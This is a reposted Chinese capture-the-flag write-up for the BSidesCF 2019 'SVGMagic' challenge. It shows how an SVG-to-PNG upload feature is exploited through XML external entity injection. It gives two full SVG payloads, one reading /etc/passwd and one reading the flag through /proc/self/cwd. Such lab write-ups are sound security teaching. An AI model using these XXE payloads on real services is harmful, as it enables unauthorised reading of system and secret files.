自学内容网 自学内容网

[BSidesCF 2019]SVGMagic

打开题目

给了提示,使用魔法将svg转换成png,搜索了一下svg

是一种XML标记语言,既然是XML,就可能存在XXE漏洞

构造一个XML外部实体注入(XXE)攻击,尝试一下

<!ENTITY file SYSTEM "file:///etc/passwd" > 定义一个外部实体 file任意文件读取,读取/etc/passwd用户配置文件

在SVG部分中,&file; 通过文本引用该实体,试图将文件的内容嵌入到SVG输出中。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///etc/passwd" >

]>

<svg height="300" width="300">

  <text x="30" y="30">&file;</text>

</svg>

上传发现可以正常读取

然后构造读取flag

/proc 文件系统:它是一个虚拟文件系统,提供了运行时系统信息,如进程信息、内存状态、系统配置等。

/proc/self:它是指当前正在访问该路径的进程自身。无论哪个进程访问 /proc/self,它总是指向调用者进程的 /proc/[pid] 目录。

cwd:代表“current working directory”(当前工作目录)。当你访问 /proc/self/cwd/ 时,你实际上是在查看当前进程的工作目录。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >

]>

<svg height="300" width="3000">

  <text x="30" y="30">&file;</text>

</svg>

上传得到flag


原文地址:https://blog.csdn.net/zarbb/article/details/143837613

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!